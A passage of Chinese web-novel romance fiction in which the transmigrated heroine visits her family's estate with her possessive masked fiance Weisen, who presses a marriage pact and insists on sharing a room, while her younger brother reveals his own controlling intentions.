他微微倾身,那张苍白的面具几乎要贴在她的额头,语调如蜜糖般,说道:“亲爱的,怎么了?我们该出发了。”
“.......好。”
维森的身影完全将阿斯莫德挡在身后,任由纪觅依多次不经意投出目光,也观察不到他此时的神情。
她在心中暗暗决定,到了伊拉的家后,一定要找机会把事情说清楚。
“走吧,伊拉,我们已经耽误了很多时间了。”
维森伸出手,这一次不是邀请,而是不容抗拒的指令,等待她亲自将手放在他的掌心。
纪觅依看着他的眼睛,知道这次不能躲掉,只好乖乖拉住他的手,走上马车。
等他们相对坐稳后,阿斯莫德贴心地关上车门,纪觅依坐直身子,余光不自主地瞟到他身上。
麦克走到车窗前,满脸堆笑看向维森,而阿斯莫德待他站在身边后,转身准备离开。
“我们可以出发了吗,维森先生?”
“等等!”几乎是下一秒,纪觅依开口道,“阿斯……我们的管家,不和我们一起去吗?”
问题抛出的瞬间,她就后悔了。
这关切太着急,果然,维森面具后的目光微妙一沉。
他没有立即回答,而是缓缓地向后陷进柔软的靠垫,右腿优雅地抬起,搭在左膝。
一个简单的动作,却让车厢内的空间骤然变得逼仄,他的脚尖相距她的裙摆不足半掌,仿佛下一秒,就要贴近。
“我亲爱的伊拉。”维森的声音依旧温柔,像一位对爱人无比耐心的丈夫般,解释道,“阿斯莫德最近懈怠不少,这几天就让他在庄园反思一下。”
“有我在,你有什么需求,都可以告诉我。”
维森的脚尖掠过她的裙摆,纪觅依的心脏猛地一缩。
他没有打算放过她,语气里满是不理解:“伊拉,我有点伤心,你是不是对阿斯莫德过于上心了?”
纪觅依明白,此刻移开视线就是承认心虚。
她强迫自己抬起眼,迎上那两道从面具孔洞后射出的审视目光,努力让嘴角扯出一个疑惑的弧度,讶然道:
“你怎么会这么想,亲爱的。”她让自己的声音听起来尽量自然,甚至带着一点天真的不解,“我只是以为,回家拜访这件事,管家理应随行侍奉。”
她越说越低落,委屈极了:“你居然会这么理解我,我知道我不太懂规矩......”
两道视线同时落在了她身上。
纪觅依还沉浸在自己的演技中,完全没注意此时眉头微蹙的阿斯莫德和饶有兴趣、揉搓着手指的维森。
只有麦克对这段对话之下汹涌的暗流毫不知情,他抬起手,和事佬般劝道:那个,维森先生。”
“嗯?”
维森看向他,冰冷的视线刺在身上,让麦克产生了一种胆战心惊的错觉:如果他多说或错说,下一秒等待他的就是绝望的死亡。
“我,我们出发吧,时候不早了。”
麦克说完转身向马匹走去,不敢多待一刻。
阿斯莫德俯身行礼,开口道:“维森先生思虑周全,祝二位旅途愉快。”
他巧妙地将纪觅依那句莽撞的关切,包裹进无可指摘的礼节中。
阿斯莫德说完后,保持着躬身的姿势,向后退了一步,如一道剪影般与庄园相融。
维森似乎对这个回答颇为满意,面具下传来一声几不可闻的轻笑。他将目光完全锁在纪觅依脸上,欣赏着她眼中一闪而过的失落与无措。
维森面对着她,嘴里却是对阿斯莫德说的话:“看到你这个样子,我相信,在我和伊拉回来之前,你就能学会......”
“如何做一名真正称职的管家。”
维森语调轻快,脚尖孩子气地拨弄着纪觅依的裙摆。
随后,他朝窗外喊去:“出发吧。”
“好嘞!”备受煎熬的麦克得到这句话,如蒙大赦,立刻跳上驾车位,扬起了鞭子。
马车缓缓启动,轮轴与地面摩擦,发出沉闷的声响。阿斯莫德站在原处,身影越来越小,直至消失。
纪觅依不敢侧身回望,只能与维森四目相对,这具身体的毛病在此时发作,她的视线愈发模糊,眼皮疯狂打架。
“伊拉?”维森被她这幅模样逗笑,他起身坐在她身边,看着她缓缓倒向另一边的软垫。
“......嗯?”纪觅依本能回复着,强撑起意识与这具身体对抗,“怎,怎么了——”
“这次回到你的家族后,是不是就该谈谈我们的婚约了?”
可纪觅依已经完全听
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不见了,她的反抗失败,只能任由困意席卷。
“睡得可真巧。”
维森打趣道,手上的动作却无比轻柔。
他托住她微微倾斜的脸颊,为她不断与软垫撞击的额角做缓冲。
在确定纪觅依睡熟,呼吸变得长稳后,维森无奈地叹了口气,将她找不到支点的脑袋倚靠在自己肩头。
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马车缓缓停下,纪觅依蹭了蹭脸侧的“软垫”——
不对!
察觉到触感不同的她立即惊醒,猛地一抬头,结果恰好与侧着脸观察她睡容的维森相撞。
“咚”的一声闷响,纪觅依感觉眼前瞬间金星乱冒。
她第一反应向后躲去,缩在车厢的角落,捂住发疼的后脑勺,倒吸了一口凉气。
维森扶着下巴,面具下的喉咙里溢出短促的闷哼,看起来也被撞得不轻。
两人看向对方,同时僵住。
一时间,车厢里只剩下门外马匹咴咴的叫声,和这一撞后诡异的寂静。
这变故唤醒了纪觅依半梦半醒的神经,在她意识到自己撞了谁后,浑身的血液瞬间褪去,又在下一秒轰然冲回脸颊。
她刚想伸手,又缩回,只能磕磕巴巴地道歉:“对,对不起!你没事吧,我,我不是故意的。”
维森的手高高抬起,吓得纪觅依本能低下头,蜷缩在角落,可她等来的只有他轻柔地抚摸。
他慢条斯理开口,右手贴在她的后脑勺上:“不必道歉,伊拉。你没事就好。”
与自己设想不同的是,维森不但没有责怪自己,还格外包容。
他在确定纪觅依头上没有肿起大包后,优雅地收回到腿上。
“我的伊拉。”他的眼神柔情似水,尾音上勾,“在睡梦中,都这么有活力。”
这句话一出来,引得纪觅依满身鸡皮疙瘩全军出击。
她压住恶寒,讪讪地笑了几下。
还不如来一巴掌呢!
纪觅依心里暗暗吐槽,但在不知觉中,她对维森的防备产生了细微的松动。
她这个阴晴不定的未婚夫,好像只会对阿斯莫德释放恶意,而对自己,更多是一个称职伴侣所应有的体贴。
麦克在此时敲响车门,纪觅依看向他的双眼中闪着光,在他开口前就主动打开车门,团起堆叠的裙摆,迈出左脚,谨慎地跳下马车。
维森紧随其后,整理了一下自己的面具,随即顺理成章地理顺纪觅依略显凌乱的发丝。
他的手指刚从她的发梢离开,一阵过于热切,甚至称得上喧哗的声响从远处传来。
“伊拉!我的宝贝女儿!”
纪觅依还没来得及看清来人的样貌,就被一股浓烈的脂粉香裹挟。
一个衣着华丽的丰腴妇人猛地将她搂进怀里,纪觅依被她的怀抱锢住,皮肤与老妇人身上的礼服相触,摩擦得泛红。
这力道大得让纪觅依的肋骨生疼,还没等她推开,紧接着,一个少年扑上来。
他紧紧环住她的腰,激动到泛出哭腔:“姐姐,你终于回来了!”
如此动人的一幕,纪觅依却没有一丝久别重逢的感触。
相反,这具身体炸开一种生理上的不适,她的胃部痉挛,几乎要干呕出来。
怎么回事?
哪怕是维森那些腻歪的行为,也从未让她产生如此强烈的反应。
26. 赤裸裸的逼婚!!!
维森本来在妇人抱上纪觅依时,扭头向麦克嘱咐了一些事情。
可他还没说完,就听到了少年的声音。
维森沉声道:“就按我刚才和你说的,到时间来接我们。”
麦克老老实实点了点头,承诺道:“诶!我一定记得牢牢的。”
维森完全不在乎他的回应,转身走到纪觅依身边,冷着脸摸上少年的头。
“这就是弟弟吧?”他脸上泛起笑意,手上的动作却可以称得上粗暴,他的手指攥住他头顶的栗色短发,毫不留情往身侧一拽。
发根与头皮拉扯的细微崩裂声,让少年的痛呼都迟滞了半拍。
少年一下松开了搂住纪觅依的手,嘴里连连痛呼,狼狈地捂住头,躲到一边,恶狠狠地看向维森。
“真乖啊,怎么没听你提到过。”
维森将纪觅依从窒息的怀抱里拉回到身边,左手轻搭在她腰间,歪头贴上她的发顶。
这力道大得让纪觅依一个踉跄,她站稳后,匀了几口气。
纪觅依不敢去看少年此时的样子,更不敢流露出任何对维森暴行的异议。
她抬头对上面具背后的眼睛,挤出一个近乎讨好的笑,答道:“亲爱的,这不是等你问我吗?”
她的话落在他耳里,变成了依赖的嗔怪。
维森搂住他的手收紧,亲昵道:“亲爱的,怪我了,真是不好意思。”
而对面的妇人心疼地将少年揽在怀里,下意识准备责怪着欺负他的罪魁祸首,一抬头看见是维森,嘴里的话立马咽下。
可少年却没看懂她的脸色,气愤地推搡着她的胳膊,嘴里嘟囔着:“母亲,他欺负我!你快帮我收......”
妇人一把捂住他的嘴巴,赔笑道:“孩子胡说呢!”
她低头瞪了他一眼,威胁道:“那是你姐夫,维森先生,人家和你闹着玩呢,别大惊小怪。”
“是啊——”
维森弯腰,与少年对视。
维森不寻常的眼眸吓得他往母亲怀里躲闪,身体不由得颤抖。
“我只是逗你玩呢,弟弟。”
维森一字一顿,看到他害怕的样子后,心满意足地站直,垂眸与纪觅依聊道:
“看样子,你的弟弟不太喜欢我的玩笑,不像你,亲爱的。”维森扬起下巴,看了一眼妇人,“看来,您的女儿更加优秀呢,巴特夫人。”
巴特夫人的脸堆起笑,佯装出一副为纪觅依感到骄傲的表情,可嘴角抽搐的肌肉暴露了她的真实想法。
“是是是,伊拉一直是我们最乖巧的孩子。兰迪,你得多向你姐姐学习。”
兰迪从母亲怀里抬起头,那双眼睛里除了未散的惊恐,还有一抹被强压下去的怨毒。
他死死咬住下唇,不敢再吱声。
“好了,旅途劳顿,快请进吧。”巴特夫人干笑几声,侧身抬手,做出“请”的手势,“伊拉,你的父亲已经等我们很久了。”
纪觅依抬头,对维森说道:“我们进去吧。”
“好。”
维森颔首,搭在纪觅依腰间的手却没有松开。
他几乎是半揽着她走出每一步,纪觅依不好当面推拒。
这具身体的反应告诉着她,伊拉的家人绝对不是表面这般。
看着巴特夫人对维森畏惧而讨好的行为,她决心忍耐下去,顺从着他的亲昵,利用这个未婚夫来保护好自己。
他们率先迈上宅邸门前的石阶,维森的姿态不像女婿登门,倒像是主人巡视自己的领地。
巴特夫人赶紧拉着兰迪跟在后面,低斥声时不时传到纪觅依耳里。
“......安分点......别惹事......”
宅邸内部比外观看起来精致些,但远远比不上维森疏于打理的庄园。
纪觅依向四周打量,每隔一段距离,墙壁上就会悬挂着一幅油画,她悄悄靠近,看清上面的内容,无非就是些宗教主题的人物肖像。
天使的脸庞在画旁摇曳的烛光下飘忽不定,她竟从中看出几分邪性。
而维森的注意力完全不在画上,他只是随意地瞟了几眼,随后贴在她的耳边,问道:“这就是你成长的地方吗?这些画......”
他故意拉长尾调,勾着她的好奇心。
“品味有够差的。”
“维森。”纪觅依瞥了他一眼,“这好歹是我家族的布置。”
“哼。”维森站直身子,无奈将手一摊,宠溺道,“好吧,亲爱的,我错了。看来你还挺维护他们的。”
“真是难得。”
他说完后,松开揽着她的手,双手背到身后,漫不经心地靠在画边,指尖百无聊赖地划过画框边缘积存的浮灰。
“巴特夫人。”他开口,声音回荡,惊动了墙上的烛火,“我的伊拉舟车劳顿,巴特老先生也等久了,请您带我们去餐厅吧。”
“啊,好好。”
巴特夫人刚站定,准备歇口气,又被维森喊住,脸上的笑容几乎要撑不住。
她急忙侧身引路:“您瞧瞧,我高兴得犯了糊涂,一时间忘了。”
她刻意走在维森侧前方半步,姿态恭敬得不像是贵族夫人,更像是一个仆从。
纪觅依被维森重新揽住,看着巴特夫人的一举一动,不由对伊拉的贵族身份起疑。
他们在巴特夫人带领下来到了餐厅。
相对明亮的餐厅中央摆放着一张长木餐桌,一位身形瘦削、留着山羊胡的中年男人坐在主座,看见走来的四人,清了清嗓子,起身相迎。
他声音干涩,说道:“维森先生,欢迎。”
随后,他的目光落在了纪觅依身上,那绝不是一位父亲应有的慈爱。
“你终于回家了,伊拉。”
维森微微点头,礼貌回应道:“巴特先生。”
纪觅依也顺势喊道:“父亲。”
说完后,维森自然地拉起她的手,径直走向长桌右侧最尊贵的客位,自然地替她拉开椅子,待她坐下后,再坐在自己身前的位置上。
他的动作娴熟,像是每日都在重复上演的动作。
看到这一幕的巴特老爷眼皮跳了跳,默不作声地走回主位坐下。
待几人落座后,巴特夫人忙不迭地拉着兰迪坐在左侧,她的手紧紧按在兰迪的腿上,生怕他又惹事。
“上菜吧。”
巴特老爷话音刚落,仆人们开始沉默上前,轮流端着餐盘呈上。
随着他们的动作,餐具与瓷器不断碰撞摩擦,发出刺耳且令人不悦的噪声,在这压抑的寂静中折磨着纪觅依的耳膜。
一道道餐肴摆在桌上,看上去其实挺用心的,但香味里总混杂着些说不上来的气息。
纪觅依叉起一块牛肉送到嘴里,嚼了几下,勉强咽下。
看来自己真是被阿斯莫德养娇了......
要是之前的自己,对于食物,追求吃饱,奢求吃好,别说味道如何,熟了就能下口。
想到这,白日里的愧疚感再次涌来。
在她自责时,维森已经放下餐叉,靠向椅背,情绪全写在脸上。
“巴特先生。”他忽然开口,打破了过于宁静的用餐氛围,“我这次陪伊拉回来,除了探望您二位,我们也想和您谈谈婚约的细节。”
餐桌上所有人的动作几乎同时顿住,尤其是纪觅依,她惊愕地抬起头,嘴里没说出的话全在眼里——
我们?不是,什么时候商量好的啊?
“你们商量好了?”
巴特老爷放下了刀叉,摆了摆手,仆人们齐齐退下,他拿起餐巾擦拭着嘴边的油渍,看向了纪觅依。
纪觅依进退两难,维森的手突然盖上她的右手,巴特老爷的眼神死死锁在她身上。
“我的女儿,看来,你在维森的庄园过得不错。我没想到,居然在这么短时间内,你就做好了结婚的准备。”
纪觅依欲言又止,嘴巴张开想说些什么,又立马闭上,紧紧抿住。
巴特老爷侧头打量着她,一副慈爱的父亲模样:“你有什么想说的,就在这说,我们一家人有什么不能说的。”
我能说吗?那显然是不能啊!
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纪觅依内心咆哮道——
说其实没商量?
维森肯定会大发雷霆,他的行为逻辑根本不是常人,就算她万般提防,也料不到他会怎么对付自己。
说已经做出决定?
感觉就是把自己推向一个未知的深渊,更何况,巴特老爷字里行间都像是在威胁她。
你,竟敢擅作主张同意婚约。
巴特老爷的面相就是一副封建大家长的样子,惹不起;维森不用说,肯定惹不起!
纪觅依的大脑飞速运转——
有了!
“哎呀!”她假装埋怨地晃了晃维森的手,“亲爱的,你不是答应过我,这件事让我亲自和父亲说吗?”
纪觅依娇羞地贴在他耳边:“我今晚和你聊聊,好吗?”
她轻轻捏了捏他的手,试图讨好着他。维森偏了偏头,两人的气息交汇。
他反握住她的手,柔声道:“好,是我太急了。”
哄好维森这边后,纪觅依立即抬头朝巴特老爷看去。
“父亲,是维森太心急了,其实,我们还没有完全商量好。这件事,我肯定要经过您和母亲的同意才能决定。”
巴特老爷虚眯着眼睛,不知在想些什么。
在一段无言的沉默后,巴特夫人发出几声干笑,解围道:“那是,那是。伊拉,我就知道你是我们的乖女儿,怎么会擅自决定自己的人生大事啊!”
她扭头看向巴特老爷,递出好几个眼神暗示着。
他眯起的眼睛终于缓缓睁开,鼻腔里发出一声意味不明的轻哼。
“是该慎重。”巴特老爷端起茶杯,目光转向维森,“既然这样,我们不妨先享用晚餐,路途遥远,我想你们都累了。”
巴特夫人接着说道:“是啊,伊拉,你父亲说的对!先吃饭,具体的细节我们明天再讨论。”
纪觅依点了点头,她收到了巴特夫人眼神里的暗示:
这对名义上的父母,看似在劝她,实际上说的每句话都是给维森听的。
终究是解决掉了。
纪觅依长舒一口气,将手从维森掌心抽离。
刚才退下的仆人们悄悄上前,在餐厅的四周伺候。
众人再次拿起刀叉,继续享用着被意外打断的晚餐,巴特夫妇专心地对付着餐盘里的食物,而兰迪,时不时偷瞄着纪觅依,不知道在想些什么。
维森的手向叉子伸去,却没有拿起,只是摩挲两下。
刚才纪觅依手掌的温热和现在金属的冰冷产生了鲜明的对比,他歪着脑袋,指尖在桌布上轻轻敲击,节奏轻快。
纪觅依能清晰感受到,他的目光落在自己低垂的侧脸,带着一种令人不适的玩味。
这顿晚餐的后半场,结束在一阵近乎诡异的和谐中。
巴特老爷吃完后,对着角落的仆人招了招手,以所有人都能听到的声音说道:
“管家,等会带他们去房间。”
那位走上前的老者脊背微驼,俯身恭敬回答道:“好的。”
此时的纪觅依恰好吃完,擦拭嘴巴的动作一僵。
那位老管家走到他们身边,安静地等待。
维森微微颔首,随即起身,非常自然地向纪觅依伸出手,面朝管家说道:“有劳了。”
“应该的,那请两位随我来。”
纪觅依将手帕往桌上一放,顺从着维森的邀请,在巴特夫妇和兰迪的注视下离开了餐厅。
他们跟着管家穿过餐厅右侧的长廊,墙壁上昏黄的烛光晕染在他们的影子上,纪觅依紧盯着管家的步伐,丝毫没有注意此时维森的表情。
管家走到一间房门前停下,向维森行礼,说道:“维森先生,这是老爷和夫人专门为您准备的客房。伊拉小姐,请随我来......”
“等等。”
维森握着纪觅依的手,丝毫没有要放开她的意思。
“我和我的未婚妻习惯住在一间房,没有我的陪伴,她会害怕的。”他冷着脸看向管家,随后低头,朝身侧的纪觅依柔声道,“亲爱的,不是吗?”
27. 共处一室×
纪觅依的眉头跳了几下。
你说谁?
谁习惯和你住一间房?
我?
听了维森的这句话,纪觅依感觉自己都要产生认知障碍了。
在庄园的那么长一段时间内,别说同住了,连他的面都没见过几次,只有隔三差五的文字骚扰。
管家好奇的目光投来,面对这种被当面造谣却无法反驳的处境,纪觅依笑都笑不出来。
“可......”
她好不容易找到的理由还未说出口,就被维森打断。
“亲爱的,你不是说今晚和我聊聊婚约的事吗?”维森带着面具的脸缓缓贴近,“这可是你不久前承诺的,伊拉,看来你真是累坏了呢。”
纪觅依轻声回答道:“......是的。”
管家看到这一幕,识趣地后退并说道:“那我就不打扰了,二位早点歇息吧。”
维森轻笑着牵起纪觅依,握住门把手一压,走进客房。
“伊拉,你的管家比阿斯莫德聪明多了。”
纪觅依一言不发,绝望地看着房间中间的大床——
不!
难道真的要和这个才接触不到一天的陌生“未婚夫”睡在一张床上吗?
她的心内已然掀起崩溃的惊涛骇浪,而维森将她的沉默当作认可,满意地走到窗边,优雅地拉上窗帘。
随后,他坐到一旁的沙发上,悠闲地翘起腿,右手拍了拍身侧的位置,暗示她坐过来。
纪觅依踌躇不前,双手在身后握拳,牙齿咬住下唇。
“伊拉,坐到我身边。”
维森的语气依旧温柔,可说出来的话语是不可抗拒的命令。
纪觅依无奈地坐到他身边,低垂着头紧盯脚尖。
现在只有腿侧坚硬的匕首能给她带来安全感,纪觅依不断在脑中设想着,如果不小心刺激到维森,该如何反应,才能拔得更快、更准。
“请原谅我的鲁莽,不要生气了。”维森收起了今日所有的傲慢,只剩下了对她的担心,“婚约的事是我太心急,还没商量好就和你的父母说了。”
纪觅依原本脑海中精彩的打斗画面一扫而空,无数个硕大的问号横空出世。
所以说,其实就是没商量,而不是自己没有这段记忆。
亏自己还想着怎么圆滑地补上这段属于原主的记忆啊!
纪觅依牙齿现在死死嵌在嘴唇上,这并非最开始的紧张,而是满腔怒火却无地可施的憋屈。
维森将她的一举一动全看在眼里,他难得慌张的站起身,蹲在纪觅依面前,强势地闯入她的视线。
她被迫迎上那张面具,而此时纪觅依的面无表情,到了维森这里就是还没消气的表现。
“能原谅我吗,伊拉?”
她很想说不能,但是现实告诉她,不能说这两个字。
一声“嗯”艰难地从她鼻腔里挤出。
“太好了!”
纪觅依看着蹲在面前的高大男人发出如此“孩子气”的欢呼,眉头再次不由主地抽动两下。
“那你不生气了,就是原谅我的鲁莽了。”
“嗯。”
纪觅依没想到,自己礼节性地肯定拉开了一个关不上的洪闸——
“既然原谅了我,这足以证明,你还是在意我的。我知道你对我的心意,我也一样。那我们的婚约就没有阻碍了,自然也就这样定下来了,到时候挑个时间和你的父母传达,再喊阿斯莫德准备......”
随着维森越说越快的语速和肉眼可见的喜悦,纪觅依的瞳孔剧烈颤动。
她第一次感受到逻辑能力彻底瓦解,这比前面所经历的一切不可思议的谜团更有冲击力。
怎么就在意了?
什么叫你也一样?
怎么就定下来了!
为什么啊?
她不理解,在他嘴里,婚约怎么就莫名其妙的水到渠成了。
纪觅依现在彻底明白并深受震撼,那种被看一眼就觉得被爱上的男性的恐怖之处。
蹲在这的维森,绝对是其中最耀眼的一批!
纪觅依的嘴巴微张,满脸疑惑地准备开口,试图找角度击破他诡异的逻辑堡垒。
维森把两只手搭上她的膝头,冷白的皮肤在墨绿裙摆的衬托下,生出一种极致的脆弱感。
这种感觉竟让纪觅依觉得,自己可以随意蹂躏眼前这双骨节分明的手,甚至这个人。
“我的伊拉,你在犹豫什么?”
纪觅依沉住气回答道:“我觉得,有点太快了。”
“嗯?”维森的脸缓缓贴上她的膝盖,面具的边缘透过布料硌着她的关节。
“当初主动要和我建立婚约的是你,现在觉得太快的也是你。”
“亲爱的,你怎么这么善变。”
原主这么勇的吗?
纪觅依没有料到,居然是伊拉主动提出婚约,她以为,她应该是文文弱弱、沉默寡言的贵族小姐......
维森没有耐心等她回应,看似依赖地靠在她的身上,眼神中的伤感却暗藏着些许危机:
“伊拉,还是说,你后悔了?”
纪觅依的嘴唇抿紧,她不知道此时该做些什么回应,逃跑的路线也被他完全阻断。
“有人让你更动心了吗?”
维森双手发力,站起身来,俯视着被包裹在自己身影之下的纪觅依,追问道:
“我很好奇,他是谁呢?”
她就知道,他还是没有放过阿斯莫德!
维森这个妒夫对自己忠心耿耿的管家满是猜忌,不管纪觅依怎么解释,都像是在掩饰什么见不得人的关系。
她也认识到这一点,他的话语和那审视的眼神如同一条冰冷的毒蛇,缠绕上她的脖颈,不知何时爆发,一口咬下。
就在纪觅依不知如何将话题引开时——
“砰!砰!砰!”
一阵急促的敲门声响起,打断了这窒息的氛围。
门外传来兰迪清脆又带着点蛮横的喊声:
“伊拉!开门,今晚你该给我讲故
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事了!”
维森的脸色难看到面具都遮不住,他暗骂道:“碍事的东西!”
纪觅依假装没听到,往门口走去。
老管家慌忙又压低声音的劝阻紧接着传来:“兰迪少爷,维森先生和伊拉小姐已经休息了。你乖乖的,我们不去打扰他们,好吗?”
“我不管!”
兰迪本就尖锐的声音一下拔高,隔着门都感到刺耳。
“她答应过我的!反正他们又没结婚,姐姐就还是我的,她就得给我讲故事!”
“没结婚”狠狠刺向了维森,他本就不满,此时更是有点忍无可忍,走向门口,先纪觅依一步握上把手。
“伊拉,你快开......”
兰迪的话音未落,门打开了,但出现在面前的不是他嘴里念叨的姐姐,而是维森。
走廊昏暗的灯光照在面具上,结合着他凝重的低气压,维森如同阎王降世般屹立在那里。
刚才还嚣张跋扈的兰迪缩回管家身后,手里紧紧攥住一个旧枕头,眼睛不忘盯着在维森身后的纪觅依。
“实在是对不起,先生。”管家深深鞠了一躬,“我是给二位送行李的,没有想到,小少爷偷偷跟上来了。”
维森斜眼瞟了一下门边整齐摆放的几个手提箱,沉声道:“那就送进来吧,至于兰迪少爷,你该去睡觉了。”
他的眼神轻蔑却狠毒,吓得兰迪疯狂吞咽着唾液。
“我和你姐姐只是没有告知你,但结婚是迟早的事,希望你早日习惯。”
维森利落转身,走回房内的沙发坐下。
他这一走,兰迪吓掉的胆子自动归位,只是不见他最开始无理取闹的模样。
他怯生生地拽着管家的裤腿,眨着眼睛对纪觅依说道:“姐姐,你能不能给我讲故事?”
似乎是从未提出什么请求,这句话在他嘴里说出,显得十分僵硬。
可纪觅依毫不在意,兰迪的出现对她而言,简直是天降救星。
她蹲下身,摸了摸兰迪的头,说道:“可以,但是我要和维森说一下,在这等我,好吗?”
兰迪以为得到的会是她的拒绝,纪觅依的回答让他一时没回过神,足足愣了半分钟才猛地点了点头。
而本来慵懒地靠在沙发上的维森,错愕地直起身子,眼睁睁看着纪觅依走近,学着他的样子蹲在面前。
她尽量让声音变得柔和,像是撒娇般:“我亲爱的维森,你知道的,过了这么多天兰迪都没见到我,我也很想他。”
“你是一位体贴的丈夫,我相信你能够理解我。”
维森盯着她请求的眼神,鼻腔里挤出一声轻哼。
“明晚,我会给你一个回答,我保证,会让你满意的。”
这句话说完后,不知他想到了什么,耳尖爬上奇怪的红晕。
维森将脸一撇,以极小的声音说出:“好。”
他凑到她耳边,温柔“提醒”着:“这可是你亲口承诺的,希望今晚你在讲完故事后,早点休息,明天见,我的未婚妻。”
28. 拿捏
维森温热的吐息拂过纪觅依的耳廓,带来一阵战栗。
方才那抹红晕尚未完全褪去,在昏暗的烛光下,反而更添几分诡谲的暧昧。
“那么——”他刻意拖长尾音,目光扫过她微微颤抖的睫毛,“既然我这么体贴,我的伊拉要给点睡前的小奖励吗?”
他的声音压得极低,宛如情人间的絮语。
门外的二人不知道他们在讨论什么,管家一看维森凑上去,立马低下了头。
而兰迪谨慎地拽着管家的裤脚,往里面望去,却只能看到纪觅依拖在地上的裙摆。
“一个吻,如何?”
维森缓缓拉开了与她的距离,享受着此时她脸上的无措。
纪觅依看着面前这张得意的面具,恨不得直接问他——
一巴掌,如何?
但总感觉真这么做了,维森只会喊她再来一巴掌。
维森面具后的眼睛微微弯起,期待着她的主动回应。
门外此时传来兰迪不耐烦的踢门声,尽管很轻,却打破了房间内单方面的暧昧氛围。
维森眉头几不可察地一蹙,对兰迪的忍耐已经达到了底线,他右手紧握,时刻准备起身出去教训这个坏了他好事的臭小孩。
“维森。”纪觅依一把将他抱住,脸贴在他的面具上。
刹那间,维森僵住了,耳尖的红晕迅速染至脸颊。
纪觅依打心眼里不想随随便便亲一个陌生人。
但她知道,维森已经放她一马了,如果不主动做点什么把他稳住,今晚这一关会迟迟过不去。
维森感受着她与自己紧紧相贴的柔软躯体,他的心跳声回荡在胸腔。
刚才还悠闲掌控一切的男人,此时缄默不语。
“我觉得,晚安吻是很私密的事情,你想我吻你这件事被别人看见吗?”
“不......”
“这就对了。”纪觅依在他耳边低语,“你真乖,我的未婚夫。”
她没有看见,此时的维森完全没有先前的精明,他呆傻地抚上怀中之人的后背,感受着这真实的触感。
“明晚的时间全是留给你的,无论谁找我,我都不会离开你。所以今晚你听我的,乖乖休息,好吗?”
维森一口应下,依恋地在纪觅依的颈侧蹭了蹭:“好.......”
纪觅依感受到颈侧那阵蹭动,身体本能一僵,随即强迫自己放松下来。
她拍了拍维森的后背,像在安抚一只大型犬。
“那我去了。”她轻声说,准备抽身,手腕却被握住。
维森没有抬头,声音闷在她的发丝之间,问道:“你说好的,不骗我吧?”
纪觅依心尖像被细针扎了一下,她缓缓地从他怀里抽离,同时回答道:
“嗯,我说好的。”她对上了那双因不确定而带着些许慌张的眼睛,“骗你是小狗。”
这句孩子般的誓言,却奇异地取悦了他。维森低笑了几声,终于松开了手。
纪觅依转身走向门口,裙摆掠过地面,没有回头。
他的目光依旧黏在她的背后,滚烫而专注。
门外,兰迪已经等得快炸毛,被老管家半搂半抱着制止。
一见她出来,男孩立刻挣脱,冲到了她面前。
兰迪一副要质问她为什么这么慢才出来的样子,又顾忌着门内的维森,最后只小心翼翼扯了扯她的裙摆,不满地嘀咕道:
“怎么现在才出来......”
老管家在一旁躬身,满脸歉意:“小姐,少爷他实在是......”
“没关系。”纪觅依打断他,声音里带着一丝不易察觉的疲惫,她看向兰迪,努力让自己的声音显得柔和,“走吧,去你房间,不是要听故事吗?”
她叹了口气,一心想要离开这扇门,越快越好,越远越好。
虽然不知道兰迪是个怎样的人,但小孩总比维森好对付。
门内——
维森看着纪觅依的身影消失在视野范围之内,老管家提着行李箱走进来,恭敬地放在床边。
“先生,这是您的行李。”
“嗯。”
“那您早点休息,非常抱歉今晚的打扰。”
老管家退下,带上房门,烛火因为门扉的关闭而轻轻摇曳,在墙壁上投下维森巨大的影子。
他静坐在那里,维持着被拥抱后的姿势,许久微动,身上还残留着独属于她的味道。
维森指尖无意识地抬起,抚上面具侧缘。
“呵......”
一声低哑的笑声从面具后溢出。
他忽然向后一仰,整个人陷进柔软的靠垫里,抬起刚才摸上她头顶的手,对着昏暗的光线,缓缓收拢五指。
“明晚......”维森喃喃自语,面具孔洞后的双眸在阴影中闪烁着光芒,语气变得更加偏执,“全部的时间,都是我的。”
门外,走廊深处——
纪觅依几乎是被兰迪拽着走到他的房门前,她脚步虚浮,还没从刚才那个拥抱缓过来。
迟来的恐惧感在这时涌来,她没想到,自己出于直觉的反应,竟然真的拿捏住了那个阴晴不定的未婚夫。
纪觅依顺着兰迪走进房内,当房门在身后关上时,她靠着墙,疲惫地问道:
“说吧,我亲爱的弟弟,你想听什么故事?”
“伊拉,你明明知道,我没有这个听故事的习惯。”
兰迪脸色一沉,走到床边坐下,全然没有之前那副小男孩的稚气模样。
纪觅依并未感到惊讶,反而正如她所料。
她绝不相信这个在母亲面前嚣张、在维森面前瑟缩、此刻又眼神闪烁的男孩,只是为了听一个幼稚的睡前故事。
兰迪没有继续说下去,只是从枕头下摸出一本边角磨损的硬壳书,转身看着她,等待着她走来。
纪觅依缓步靠近,兰迪指了指她身后的椅子,暗示她拉近坐下,随后半靠半躺在床上。
在纪觅依低头接过故事书,准备翻开时,兰迪没头没尾地问了一句:
“他真的会和你结婚吗?”
纪觅依含糊答道,警惕地看着他:“可能吧。”
“没这个可能了,我亲爱的姐姐。”兰迪扯出一个比哭还难看的笑,“伊拉,你真的不知道为什么父亲会喊你回来吗?”
我怎么知道?
纪觅依只能保持沉默,盯着书上笔触粗糙的插画。
“我会帮你的。”兰迪的手覆在了插画上面,“但你要拒绝维森。”
“你是属于这的,伊拉。你也只能做我的姐姐......”
纪觅依将书一扣,夹住了兰迪的手掌,而刚才眼神逐渐执拗的男孩此时一愣。
属于这里?
她几乎要冷笑出声,被维森逼得忍气吞声就算了,到如今,原主名义上的弟弟甚至想控制住她。
伊拉啊伊拉,你怎么活得这么憋屈!
“帮我?”纪觅依抬起眼,声音平静得听不出情绪,“怎么帮?你能对付的了谁?”
“我,我......”
兰迪一下结巴起来,纪觅依心中的猜测更加坚定:这小子就是装的!还以为有多大能耐呢。
“你凭什么就让我相信你。你也看到了,维森那么爱我宠我,凭什么我要待在你身边,当你一辈子的姐姐?”
兰迪被她的话一下刺激到了,将手从书页的夹击中抽出。
他想一把夺过纪觅依手中的故事书,往远处狠狠一砸,以宣泄自己的怒火。
结果书被纪觅依捏得紧紧的,他一番努力白费,只能气得捶床。
“不行,这个家族未来都是我的,你也是,你只能是我的姐姐!”
看着他想抢书结果失败的样子,纪觅依忍不住“噗嗤”一声笑了出来。
这笑声直接刺激了怒火中烧的兰迪,他跃起,站在纪觅依面前,试图通
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过高度差来让对方感到畏惧。
可纪觅依只是漫不经心的抬起头,沉默地看向他。
